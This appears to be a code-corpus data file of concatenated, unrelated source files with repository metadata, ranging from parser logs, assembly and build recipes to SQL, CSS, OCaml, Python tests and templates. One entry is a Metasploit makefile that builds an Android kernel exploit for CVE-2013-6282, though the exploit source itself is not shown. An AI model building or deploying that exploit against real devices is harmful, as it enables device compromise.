#STATE# (null)
#STATE# (process-prototype) [4:1..26]
#STATE# { [4:28]
#STATE# keyword: chp [5:1..3]
#STATE# { [5:5]
#STATE# *[ [6:2]
#STATE# (id-expr): B [6:5]
#STATE# # [6:6]
#STATE# ] [6:8]
in state #STATE#, possible rules are:
chp_peek: member_index_expr '#' . member_index_expr_list_in_parens (#RULE#)
acceptable tokens are:
'(' (shift)
| Bison | 0 | broken-wheel/hacktist | hackt_docker/hackt/test/parser/chp/107.stderr.bison | [
"MIT"
] |
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
#LOCAL_LDFLAGS += -llog
#LOCAL_CFLAGS += -DDEBUG
LOCAL_MODULE := exploit
LOCAL_SRC_FILES := exploit.c
include $(BUILD_SHARED_LIBRARY)
include $(CLEAR_VARS)
LOCAL_LDFLAGS += -llog
LOCAL_CFLAGS += -DDEBUG
LOCAL_MODULE := debugexploit
LOCAL_SRC_FILES := exploit.c
include $(BUILD_EXECUTABLE)
| Makefile | 3 | OsmanDere/metasploit-framework | external/source/exploits/CVE-2013-6282/Android.mk | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
$TTL 3d
@ IN SOA root.localhost. root.sneaky.net. (
2015042907 ; serial
3d ; refresh
1h ; retry
12d ; expire
2h ; negative response TTL
)
IN NS root.localhost.
IN NS localhost. ; secondary name server is preferably externally maintained
www IN A 3.141.59.26
| DNS Zone | 4 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/DNS Zone/sneaky.net.zone | [
"MIT"
] |
.layout img {
margin: auto;
max-width: 98%;
display: block;
height: auto;
}
| CSS | 3 | yjose/orval | docs/src/styles/shared.module.css | [
"MIT"
] |
;
; jmemdosa.asm
;
; Copyright (C) 1992, Thomas G. Lane.
; This file is part of the Independent JPEG Group's software.
; For conditions of distribution and use, see the accompanying README file.
;
; This file contains low-level interface routines to support the MS-DOS
; backing store manager (jmemdos.c). Routines are provided to access disk
; files through direct DOS calls, and to access XMS and EMS drivers.
;
; This file should assemble with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler). If you haven't got
; a compatible assembler, better fall back to jmemansi.c or jmemname.c.
;
; To minimize dependence on the C compiler's register usage conventions,
; we save and restore all 8086 registers, even though most compilers only
; require SI,DI,DS to be preserved. Also, we use only 16-bit-wide return
; values, which everybody returns in AX.
;
; Based on code contributed by Ge' Weijers.
;
JMEMDOSA_TXT segment byte public 'CODE'
assume cs:JMEMDOSA_TXT
public _jdos_open
public _jdos_close
public _jdos_seek
public _jdos_read
public _jdos_write
public _jxms_getdriver
public _jxms_calldriver
public _jems_available
public _jems_calldriver
;
; short far jdos_open (short far * handle, char far * filename)
;
; Create and open a temporary file
;
_jdos_open proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov cx,0 ; normal file attributes
lds dx,dword ptr [bp+10] ; get filename pointer
mov ah,3ch ; create file
int 21h
jc open_err ; if failed, return error code
lds bx,dword ptr [bp+6] ; get handle pointer
mov word ptr [bx],ax ; save the handle
xor ax,ax ; return zero for OK
open_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_open endp
;
; short far jdos_close (short handle)
;
; Close the file handle
;
_jdos_close proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov bx,word ptr [bp+6] ; file handle
mov ah,3eh ; close file
int 21h
jc close_err ; if failed, return error code
xor ax,ax ; return zero for OK
close_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_close endp
;
; short far jdos_seek (short handle, long offset)
;
; Set file position
;
_jdos_seek proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov bx,word ptr [bp+6] ; file handle
mov dx,word ptr [bp+8] ; LS offset
mov cx,word ptr [bp+10] ; MS offset
mov ax,4200h ; absolute seek
int 21h
jc seek_err ; if failed, return error code
xor ax,ax ; return zero for OK
seek_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_seek endp
;
; short far jdos_read (short handle, void far * buffer, unsigned short count)
;
; Read from file
;
_jdos_read proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov bx,word ptr [bp+6] ; file handle
lds dx,dword ptr [bp+8] ; buffer address
mov cx,word ptr [bp+12] ; number of bytes
mov ah,3fh ; read file
int 21h
jc read_err ; if failed, return error code
cmp ax,word ptr [bp+12] ; make sure all bytes were read
je read_ok
mov ax,1 ; else return 1 for not OK
jmp short read_err
read_ok: xor ax,ax ; return zero for OK
read_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_read endp
;
; short far jdos_write (short handle, void far * buffer, unsigned short count)
;
; Write to file
;
_jdos_write proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov bx,word ptr [bp+6] ; file handle
lds dx,dword ptr [bp+8] ; buffer address
mov cx,word ptr [bp+12] ; number of bytes
mov ah,40h ; write file
int 21h
jc write_err ; if failed, return error code
cmp ax,word ptr [bp+12] ; make sure all bytes written
je write_ok
mov ax,1 ; else return 1 for not OK
jmp short write_err
write_ok: xor ax,ax ; return zero for OK
write_err: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jdos_write endp
;
; void far jxms_getdriver (XMSDRIVER far *)
;
; Get the address of the XMS driver, or NULL if not available
;
_jxms_getdriver proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov ax,4300h ; call multiplex interrupt with
int 2fh ; a magic cookie, hex 4300
cmp al,80h ; AL should contain hex 80
je xmsavail
xor dx,dx ; no XMS driver available
xor ax,ax ; return a nil pointer
jmp short xmsavail_done
xmsavail: mov ax,4310h ; fetch driver address with
int 2fh ; another magic cookie
mov dx,es ; copy address to dx:ax
mov ax,bx
xmsavail_done: les bx,dword ptr [bp+6] ; get pointer to return value
mov word ptr es:[bx],ax
mov word ptr es:[bx+2],dx
pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jxms_getdriver endp
;
; void far jxms_calldriver (XMSDRIVER, XMScontext far *)
;
; The XMScontext structure contains values for the AX,DX,BX,SI,DS registers.
; These are loaded, the XMS call is performed, and the new values of the
; AX,DX,BX registers are written back to the context structure.
;
_jxms_calldriver proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
les bx,dword ptr [bp+10] ; get XMScontext pointer
mov ax,word ptr es:[bx] ; load registers
mov dx,word ptr es:[bx+2]
mov si,word ptr es:[bx+6]
mov ds,word ptr es:[bx+8]
mov bx,word ptr es:[bx+4]
call dword ptr [bp+6] ; call the driver
mov cx,bx ; save returned BX for a sec
les bx,dword ptr [bp+10] ; get XMScontext pointer
mov word ptr es:[bx],ax ; put back ax,dx,bx
mov word ptr es:[bx+2],dx
mov word ptr es:[bx+4],cx
pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jxms_calldriver endp
;
; short far jems_available (void)
;
; Have we got an EMS driver? (this comes straight from the EMS 4.0 specs)
;
_jems_available proc far
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
mov ax,3567h ; get interrupt vector 67h
int 21h
push cs
pop ds
mov di,000ah ; check offs 10 in returned seg
lea si,ASCII_device_name ; against literal string
mov cx,8
cld
repe cmpsb
jne no_ems
mov ax,1 ; match, it's there
jmp short avail_done
no_ems: xor ax,ax ; it's not there
avail_done: pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
ret
ASCII_device_name db "EMMXXXX0"
_jems_available endp
;
; void far jems_calldriver (EMScontext far *)
;
; The EMScontext structure contains values for the AX,DX,BX,SI,DS registers.
; These are loaded, the EMS trap is performed, and the new values of the
; AX,DX,BX registers are written back to the context structure.
;
_jems_calldriver proc far
push bp ; linkage
mov bp,sp
push si ; save all registers for safety
push di
push bx
push cx
push dx
push es
push ds
les bx,dword ptr [bp+6] ; get EMScontext pointer
mov ax,word ptr es:[bx] ; load registers
mov dx,word ptr es:[bx+2]
mov si,word ptr es:[bx+6]
mov ds,word ptr es:[bx+8]
mov bx,word ptr es:[bx+4]
int 67h ; call the EMS driver
mov cx,bx ; save returned BX for a sec
les bx,dword ptr [bp+6] ; get EMScontext pointer
mov word ptr es:[bx],ax ; put back ax,dx,bx
mov word ptr es:[bx+2],dx
mov word ptr es:[bx+4],cx
pop ds ; restore registers and exit
pop es
pop dx
pop cx
pop bx
pop di
pop si
pop bp
ret
_jems_calldriver endp
JMEMDOSA_TXT ends
end
| Assembly | 5 | madanagopaltcomcast/pxCore | examples/pxScene2d/external/jpeg-9a/jmemdosa.asm | [
"Apache-2.0"
] |
SUMMARY = "watchdog"
DESCRIPTION = "watchdog"
LICENSE = "CLOSED"
SRC_URI = " \
file://init.service \
file://src/ \
"
do_compile() {
cd ${WORKDIR}/src
make
}
do_install () {
install -d ${D}${sysconfdir}
install -m 0644 ${WORKDIR}/init.service ${D}${sysconfdir}
install -d ${D}${bindir}
install -m 0744 ${WORKDIR}/src/watchdog ${D}${bindir}
}
| BitBake | 2 | abir1999/xiaoPi | bsp/meta-xiaopi/recipes-images/watchdog/watchdog.bb | [
"Unlicense"
] |
insert into users values (1, 'Alex', 1);
insert into users values (2, 'Bob', 1);
insert into users values (3, 'John', 0);
insert into users values (4, 'Harry', 0);
insert into users values (5, 'Smith', 1); | SQL | 2 | zeesh49/tutorials | spring-boot/src/main/resources/data.sql | [
"MIT"
] |
body { background-color: red;}
h1 { color: blue; }
| CSS | 3 | ravitejavalluri/brackets | test/spec/LiveDevelopment-test-files/static-project-2/sub/sub2/test.css | [
"MIT"
] |
<?Lassoscript
// Last modified 3/7/10 by ECL, Landmann InterActive
/*
Tagdocs;
{Tagname= LI_ShowIconByDataType }
{Description= Displays an icon for a DataType }
{Author= Eric Landmann }
{AuthorEmail= [email protected] }
{ModifiedBy= }
{ModifiedByEmail= }
{Date= 6/23/08 }
{Usage= LI_ShowIconByDataType }
{ExpectedResults= <img src> for an icon }
{Dependencies= It is expected that $vDatatype exists.
$svFileIconsPath needs to be defined in siteconfig. }
{DevelNotes= If $vDatatype doesn't exist, there will be no output. }
{ChangeNotes= 6/23/08
First implementation - Modified from original tag on LBT
1/15/09
Added new datatype "Story"
6/22/09
Added new datatypes "GalleryGroup" and "GalleryEntry" }
/Tagdocs;
*/
Var:'svCTNamespace' = 'LI_';
If: !(Lasso_TagExists:'LI_ShowIconByDataType');
Define_Tag: 'ShowIconByDataType',
-Namespace = $svCTNamespace;
Local:'Result' = string;
If: (Var:'vDataType') == 'Project';
#Result = '<img src="'($svFileIconsPath)'box.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'User';
#Result = '<img src="'($svFileIconsPath)'user.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'User';
#Result = '<img src="'($svFileIconsPath)'user.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Heirarchy';
#Result = '<img src="'($svFileIconsPath)'sitemap_color.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Content';
#Result = '<img src="'($svFileIconsPath)'page.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Testimonial';
#Result = '<img src="'($svFileIconsPath)'application_view_list.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Story';
#Result = '<img src="'($svFileIconsPath)'application_view_list.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'PortfolioGroup';
#Result = '<img src="'($svFileIconsPath)'application_view_list.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'PortfolioEntry';
#Result = '<img src="'($svFileIconsPath)'application_view_list.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'GalleryGroup';
#Result = '<img src="'($svFileIconsPath)'application_view_list.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'GalleryEntry';
#Result = '<img src="'($svFileIconsPath)'application_view_list.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Images';
#Result = '<img src="'($svFileIconsPath)'photos.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Files';
#Result = '<img src="'($svFileIconsPath)'page_white_copy.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Templates';
#Result = '<img src="'($svFileIconsPath)'page_copy.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Support';
#Result = '<img src="'($svFileIconsPath)'help-browser.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Maintenance';
#Result = '<img src="'($svFileIconsPath)'wrench.png" width="16" height="16" align="bottom" alt="Icon">';
Else: (Var:'vDataType') == 'Sys';
#Result = '<img src="'($svFileIconsPath)'cog.png" width="16" height="16" align="bottom" alt="Icon">';
// If no match, return nothing
Else;
#Result = string;
/If;
Return: Encode_Smart:(#Result);
/Define_Tag;
Log_Critical: 'Custom Tag Loaded - LI_ShowIconByDataType';
/If;
?>
| Lasso | 4 | subethaedit/SubEthaEd | Documentation/ModeDevelopment/Reference Files/LassoScript-HTML/itpage/LassoStartup/LI_ShowIconByDataType.lasso | [
"MIT"
] |
Multidict > 5 is now supported
| Cucumber | 0 | loven-doo/aiohttp | CHANGES/5075.feature | [
"Apache-2.0"
] |
fn f() -> Box<
dyn FnMut() -> Thing< WithType = LongItemName, Error = LONGLONGLONGLONGLONGONGEvenLongerErrorNameLongerLonger>,
>{
} | Rust | 3 | mbc-git/rust | src/tools/rustfmt/tests/source/issue-3651.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
[
'getopt',
'test_multipackage1',
'.*multipackage1_B:.*ssl.*',
'(?i).*multipackage1_B:.*python.*',
]
| TeX | 1 | hawkhai/pyinstaller | tests/functional/logs/test_multipackage1.toc | [
"Apache-2.0"
] |
<script>
document.write('<h1 id="res2">Node is ' + (typeof nw === 'undefined' ? 'DISABLED': 'ENABLED') + '</h1>');
</script>
| HTML | 3 | namaljayathunga/nw.js | test/remoting/iframe-remote/test.html | [
"MIT"
] |
a { color: #aabbccff } | CSS | 2 | kitsonk/swc | css/parser/tests/fixture/esbuild/misc/b2m1STf0F5CKity6Nd4vmQ/input.css | [
"Apache-2.0",
"MIT"
] |
#
# test of operators
#
# @expect="/nlist[@name='profile']/list[@name='t']/*[1]='true' and /nlist[@name='profile']/list[@name='t']/*[2]='true' and /nlist[@name='profile']/list[@name='t']/*[3]='true' and /nlist[@name='profile']/list[@name='t']/*[4]='true' and /nlist[@name='profile']/list[@name='t']/*[5]='true' and /nlist[@name='profile']/list[@name='t']/*[6]='true' and /nlist[@name='profile']/list[@name='t']/*[7]='true' and /nlist[@name='profile']/list[@name='t']/*[8]='true' and /nlist[@name='profile']/list[@name='t']/*[9]='true' and /nlist[@name='profile']/list[@name='f']/*[1]='false' and /nlist[@name='profile']/list[@name='f']/*[2]='false' and /nlist[@name='profile']/list[@name='f']/*[3]='false' and /nlist[@name='profile']/list[@name='f']/*[4]='false' and /nlist[@name='profile']/list[@name='f']/*[5]='false' and /nlist[@name='profile']/list[@name='f']/*[6]='false' and /nlist[@name='profile']/list[@name='f']/*[7]='false' and /nlist[@name='profile']/list[@name='f']/*[8]='false' and /nlist[@name='profile']/list[@name='f']/*[9]='false'"
# @format=pan
#
object template operator1;
"/t/0" = 0 == 0.0;
"/t/1" = "foo" == "foo";
"/t/2" = "foo" != "bar";
"/t/3" = "foo" != "foo\x00";
"/t/4" = "abc" < "abcd";
"/t/5" = "abc" < "abd";
"/t/6" = "abc" > "ab";
"/t/7" = "abc" < "x";
"/t/8" = "9" > "10";
"/t/9" = true == true;
"/t/10" = true != false;
"/f/0" = 0 != 0.0;
"/f/1" = "foo" != "foo";
"/f/2" = "foo" == "bar";
"/f/3" = "foo" == "foo\x00";
"/f/4" = "abc" >= "abcd";
"/f/5" = "abc" >= "abd";
"/f/6" = "abc" <= "ab";
"/f/7" = "abc" >= "x";
"/f/8" = "9" <= "10";
"/f/9" = true == false;
"/f/10" = true != true;
| Pan | 3 | aka7/pan | panc/src/test/pan/Functionality/operator/operator1.pan | [
"Apache-2.0"
] |
(*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*)
open Base.Result.Let_syntax
module FilenameSet = Utils_js.FilenameSet
let spf = Printf.sprintf
type error = {
msg: string;
exit_status: Exit.t;
}
let is_incompatible_package_json ~options ~reader =
(* WARNING! Be careful when adding new incompatibilities to this function. While dfind will
* return any file which changes within the watched directories, watchman only watches for
* specific extensions and files. Make sure to update the watchman_expression_terms in our
* watchman file watcher! *)
let is_incompatible filename_str =
let filename = File_key.JsonFile filename_str in
match Sys_utils.cat_or_failed filename_str with
| None -> Module_js.Incompatible Module_js.Unknown (* Failed to read package.json *)
| Some content ->
(try
let (ast, _parse_errors) =
Parsing_service_js.parse_json_file ~fail:true content filename
in
Module_js.package_incompatible ~options ~reader filename_str ast
with
| _ -> Module_js.Incompatible Module_js.Unknown)
(* Failed to parse package.json *)
in
fun ~want ~sroot ~file_options f ->
if
(String_utils.string_starts_with f sroot || Files.is_included file_options f)
&& Filename.basename f = "package.json"
&& want f
then
is_incompatible f
else
Module_js.Compatible
let get_updated_flowconfig config_path =
let (config, hash) = FlowConfig.get_with_hash ~allow_cache:false config_path in
match config with
| Ok (config, _warnings) -> Ok (config, hash)
| Error _ ->
Error
{
msg = spf "%s changed in an incompatible way. Exiting." config_path;
exit_status = Exit.Flowconfig_changed;
}
let assert_compatible_flowconfig_version =
let not_satisfied version_constraint =
not (Semver.satisfies ~include_prereleases:true version_constraint Flow_version.version)
in
fun config ->
match FlowConfig.required_version config with
| Some version_constraint when not_satisfied version_constraint ->
let msg =
spf
"Wrong version of Flow. The config specifies version %s but this is version %s"
version_constraint
Flow_version.version
in
Error { msg; exit_status = Exit.Flowconfig_changed }
| _ -> Ok ()
(** determines whether the flowconfig changed in a way that requires restarting
this is currently very coarse: any textual change will invalidate it, even just
a comment. but this does prevent restarting when the file is merely touched,
which is a relatively common occurrence with source control or build scripts.
the ideal solution is to process updates to the config incrementally.for
example, adding a new ignore dir could be processed the same way deleting
all of those files would be handled. *)
let assert_compatible_flowconfig_change ~options config_path =
let old_hash = Options.flowconfig_hash options in
let%bind (new_config, new_hash) = get_updated_flowconfig config_path in
let new_hash = Xx.to_string new_hash in
if String.equal old_hash new_hash then
Ok ()
else
let () = Hh_logger.error "Flowconfig hash changed from %S to %S" old_hash new_hash in
let%bind () = assert_compatible_flowconfig_version new_config in
Error
{
msg = spf "%s changed in an incompatible way. Exiting." config_path;
exit_status = Exit.Flowconfig_changed;
}
(** Checks whether [updates] includes the flowconfig, and if so whether the change can
be handled incrementally (returns [Ok ()]) or we need to restart (returns [Error]) *)
let check_for_flowconfig_change ~options ~skip_incompatible config_path updates =
let config_changed = (not skip_incompatible) && SSet.mem config_path updates in
if not config_changed then
Ok ()
else
assert_compatible_flowconfig_change ~options config_path
let check_for_package_json_changes ~is_incompatible_package_json ~skip_incompatible updates =
let incompatible_packages =
updates
|> SSet.elements
|> Base.List.filter_map ~f:(fun file ->
match is_incompatible_package_json file with
| Module_js.Compatible -> None
| Module_js.Incompatible reason -> Some (file, reason)
)
in
if (not skip_incompatible) && incompatible_packages <> [] then
let messages =
incompatible_packages
|> List.rev_map (fun (file, reason) ->
spf
"Modified package: %s (%s)"
file
(Module_js.string_of_package_incompatible_reason reason)
)
|> String.concat "\n"
in
Error
{
msg = spf "%s\nPackages changed in an incompatible way. Exiting." messages;
exit_status = Exit.Server_out_of_date;
}
else
Ok ()
(** Check if the file's hash has changed *)
let did_content_change ~reader filename =
let file = File_key.LibFile filename in
match Sys_utils.cat_or_failed filename with
| None -> true (* Failed to read lib file *)
| Some content -> not (Parsing_service_js.does_content_match_file_hash ~reader file content)
let check_for_lib_changes ~reader ~all_libs ~root ~skip_incompatible updates =
let flow_typed_path = Path.to_string (Files.get_flowtyped_path root) in
let is_changed_lib filename =
let is_lib = SSet.mem filename all_libs || filename = flow_typed_path in
is_lib && did_content_change ~reader filename
in
let libs = updates |> SSet.filter is_changed_lib in
if (not skip_incompatible) && not (SSet.is_empty libs) then
let messages =
SSet.elements libs |> List.rev_map (spf "Modified lib file: %s") |> String.concat "\n"
in
Error
{
msg = spf "%s\nLib files changed in an incompatible way. Exiting" messages;
exit_status = Exit.Server_out_of_date;
}
else
Ok ()
let filter_wanted_updates ~file_options ~sroot ~want updates =
let is_flow_file = Files.is_flow_file ~options:file_options in
SSet.fold
(fun f acc ->
if
is_flow_file f
(* note: is_included may be expensive. check in-root match first. *)
&& (String_utils.string_starts_with f sroot || Files.is_included file_options f)
&& (* removes excluded and lib files. the latter are already filtered *)
want f
then
let filename = Files.filename_from_string ~options:file_options f in
FilenameSet.add filename acc
else
acc)
updates
FilenameSet.empty
(* This function takes a set of filenames. We have been told that these files have changed. The
* main job of this function is to tell
*
* 1. Do we care about this file? Maybe the file is ignored or has the wrong extension
* 2. If we do care, are we unable to incrementally check this change. For example, maybe a libdef
* changed or the .flowconfig changed. Maybe one day we'll learn to incrementally check those
* changes, but for now we just need to exit and restart from scratch *)
let process_updates ?(skip_incompatible = false) ~options ~libs updates =
let reader = State_reader.create () in
let file_options = Options.file_options options in
let all_libs =
let known_libs = libs in
let (_, maybe_new_libs) = Files.init file_options in
SSet.union known_libs maybe_new_libs
in
let root = Options.root options in
let config_path = Server_files_js.config_file (Options.flowconfig_name options) root in
let sroot = Path.to_string root in
let want = Files.wanted ~options:file_options all_libs in
let is_incompatible_package_json =
is_incompatible_package_json ~options ~reader ~want ~sroot ~file_options
in
(* Die if the .flowconfig changed *)
let%bind () = check_for_flowconfig_change ~options ~skip_incompatible config_path updates in
(* Die if a package.json changed in an incompatible way *)
let%bind () =
check_for_package_json_changes ~is_incompatible_package_json ~skip_incompatible updates
in
(* Die if a lib file changed *)
let%bind () = check_for_lib_changes ~reader ~all_libs ~root ~skip_incompatible updates in
(* Return only the updates we care about *)
Ok (filter_wanted_updates ~file_options ~sroot ~want updates)
| OCaml | 5 | zhangmaijun/flow | src/server/rechecker/recheck_updates.ml | [
"MIT"
] |
CREATE TEMPORARY VIEW t1 AS SELECT * FROM VALUES (1) AS GROUPING(a);
CREATE TEMPORARY VIEW t2 AS SELECT * FROM VALUES (1) AS GROUPING(a);
CREATE TEMPORARY VIEW empty_table as SELECT a FROM t2 WHERE false;
SELECT * FROM t1 INNER JOIN empty_table;
SELECT * FROM t1 CROSS JOIN empty_table;
SELECT * FROM t1 LEFT OUTER JOIN empty_table;
SELECT * FROM t1 RIGHT OUTER JOIN empty_table;
SELECT * FROM t1 FULL OUTER JOIN empty_table;
SELECT * FROM t1 LEFT SEMI JOIN empty_table;
SELECT * FROM t1 LEFT ANTI JOIN empty_table;
SELECT * FROM empty_table INNER JOIN t1;
SELECT * FROM empty_table CROSS JOIN t1;
SELECT * FROM empty_table LEFT OUTER JOIN t1;
SELECT * FROM empty_table RIGHT OUTER JOIN t1;
SELECT * FROM empty_table FULL OUTER JOIN t1;
SELECT * FROM empty_table LEFT SEMI JOIN t1;
SELECT * FROM empty_table LEFT ANTI JOIN t1;
SELECT * FROM empty_table INNER JOIN empty_table;
SELECT * FROM empty_table CROSS JOIN empty_table;
SELECT * FROM empty_table LEFT OUTER JOIN empty_table;
SELECT * FROM empty_table RIGHT OUTER JOIN empty_table;
SELECT * FROM empty_table FULL OUTER JOIN empty_table;
SELECT * FROM empty_table LEFT SEMI JOIN empty_table;
SELECT * FROM empty_table LEFT ANTI JOIN empty_table;
| SQL | 3 | OlegPt/spark | sql/core/src/test/resources/sql-tests/inputs/join-empty-relation.sql | [
"Apache-2.0"
] |
import pytest
import numpy as np
from sklearn.impute._base import _BaseImputer
from sklearn.utils._mask import _get_mask
@pytest.fixture
def data():
X = np.random.randn(10, 2)
X[::2] = np.nan
return X
class NoFitIndicatorImputer(_BaseImputer):
def fit(self, X, y=None):
return self
def transform(self, X, y=None):
return self._concatenate_indicator(X, self._transform_indicator(X))
class NoTransformIndicatorImputer(_BaseImputer):
def fit(self, X, y=None):
mask = _get_mask(X, value_to_mask=np.nan)
super()._fit_indicator(mask)
return self
def transform(self, X, y=None):
return self._concatenate_indicator(X, None)
class NoPrecomputedMaskFit(_BaseImputer):
def fit(self, X, y=None):
self._fit_indicator(X)
return self
def transform(self, X):
return self._concatenate_indicator(X, self._transform_indicator(X))
class NoPrecomputedMaskTransform(_BaseImputer):
def fit(self, X, y=None):
mask = _get_mask(X, value_to_mask=np.nan)
self._fit_indicator(mask)
return self
def transform(self, X):
return self._concatenate_indicator(X, self._transform_indicator(X))
def test_base_imputer_not_fit(data):
imputer = NoFitIndicatorImputer(add_indicator=True)
err_msg = "Make sure to call _fit_indicator before _transform_indicator"
with pytest.raises(ValueError, match=err_msg):
imputer.fit(data).transform(data)
with pytest.raises(ValueError, match=err_msg):
imputer.fit_transform(data)
def test_base_imputer_not_transform(data):
imputer = NoTransformIndicatorImputer(add_indicator=True)
err_msg = (
"Call _fit_indicator and _transform_indicator in the imputer implementation"
)
with pytest.raises(ValueError, match=err_msg):
imputer.fit(data).transform(data)
with pytest.raises(ValueError, match=err_msg):
imputer.fit_transform(data)
def test_base_no_precomputed_mask_fit(data):
imputer = NoPrecomputedMaskFit(add_indicator=True)
err_msg = "precomputed is True but the input data is not a mask"
with pytest.raises(ValueError, match=err_msg):
imputer.fit(data)
with pytest.raises(ValueError, match=err_msg):
imputer.fit_transform(data)
def test_base_no_precomputed_mask_transform(data):
imputer = NoPrecomputedMaskTransform(add_indicator=True)
err_msg = "precomputed is True but the input data is not a mask"
imputer.fit(data)
with pytest.raises(ValueError, match=err_msg):
imputer.transform(data)
with pytest.raises(ValueError, match=err_msg):
imputer.fit_transform(data)
| Python | 4 | MaiRajborirug/scikit-learn | sklearn/impute/tests/test_base.py | [
"BSD-3-Clause"
] |
/*
* anyclass unit
*
* NB: DO NOT IMPORT OR INCLUDE THIS FILE INTO YOUR PROGRAM.
* IT WILL BE IMPLICITLY IMPORTED.
*/
unit
class *anyclass
% Do nothing!
end anyclass
| Turing | 1 | ttracx/OpenTuring | turing/test/support/predefs/anyclass.tu | [
"MIT"
] |
PHP_ARG_ENABLE([xml],
[whether to enable XML support],
[AS_HELP_STRING([--disable-xml],
[Disable XML support])],
[yes])
PHP_ARG_WITH([expat],
[whether to build with expat support],
[AS_HELP_STRING([--with-expat],
[XML: use expat instead of libxml2])],
[no],
[no])
if test "$PHP_XML" != "no"; then
dnl
dnl Default to libxml2 if --with-expat is not specified.
dnl
if test "$PHP_EXPAT" = "no"; then
if test "$PHP_LIBXML" = "no"; then
AC_MSG_ERROR([XML extension requires LIBXML extension, add --with-libxml])
fi
PHP_SETUP_LIBXML(XML_SHARED_LIBADD, [
xml_extra_sources="compat.c"
PHP_ADD_EXTENSION_DEP(xml, libxml)
])
else
PHP_SETUP_EXPAT([XML_SHARED_LIBADD])
fi
PHP_NEW_EXTENSION(xml, xml.c $xml_extra_sources, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
PHP_SUBST(XML_SHARED_LIBADD)
PHP_INSTALL_HEADERS([ext/xml/])
AC_DEFINE(HAVE_XML, 1, [ ])
fi
| M4 | 3 | thiagooak/php-src | ext/xml/config.m4 | [
"PHP-3.01"
] |
<mt:Ignore>
# =======================
#
# パーツ-関連記事
#
# モディファイアの基本値:
# taxonomy = $ec_taxonomy_label
# limit = 3
# layout = media
#
# =======================
</mt:Ignore>
<mt:Unless name="taxonomy">
<mt:Var name="ec_taxonomy_label" setvar="taxonomy" />
</mt:Unless>
<mt:Unless name="limit">
<mt:SetVar name="limit" value="3" />
</mt:Unless>
<mt:Unless name="layout">
<mt:SetVar name="layout" value="media" />
</mt:Unless>
<mt:Entries id="$ec_post_id"></mt:Entries>
<mt:Entries category="$taxonomy" include_subcategories="1" sort_by="authored_on" sort_order="descend" unique="1" limit="$limit">
<mt:EntriesHeader>
<div class="similar">
<div class="similar-header">
<h2 class="similar-title">関連記事</h2>
<!-- /.similar-header --></div>
<div class="similar-contents">
<mt:If name="layout" eq="card">
<div class="row js-flatheight">
</mt:If>
</mt:EntriesHeader>
<mt:If name="layout" eq="body">
<mt:Include module="コンフィグ-記事ループ" />
<mt:Include module="記事ループ-本文" />
<mt:ElseIf eq="card">
<div class="col-sm-4">
<mt:Include module="記事ループ-カード" />
<!-- /.col-sm-4 --></div>
<mt:ElseIf eq="headline">
<mt:Include module="記事ループ-ヘッドライン" />
<mt:ElseIf eq="listgroup">
<mt:Include module="記事ループ-リストグループ" />
<mt:ElseIf eq="none">
<mt:Include module="コンフィグ-記事ループ" />
<mt:Include module="記事ループ-装飾なし" />
<mt:Else>
<mt:Include module="記事ループ-メディア" />
</mt:If>
<mt:SetVarBlock name="__post_par__"><mt:Var name="__counter__" op="%" value="3" /></mt:SetVarBlock>
<mt:If name="layout" eq="card">
<mt:If name="__post_par__" eq="0">
<!-- /.row --></div>
<div class="row">
</mt:If>
</mt:If>
<mt:EntriesFooter>
<mt:If name="layout" eq="card">
<!-- /.row --></div>
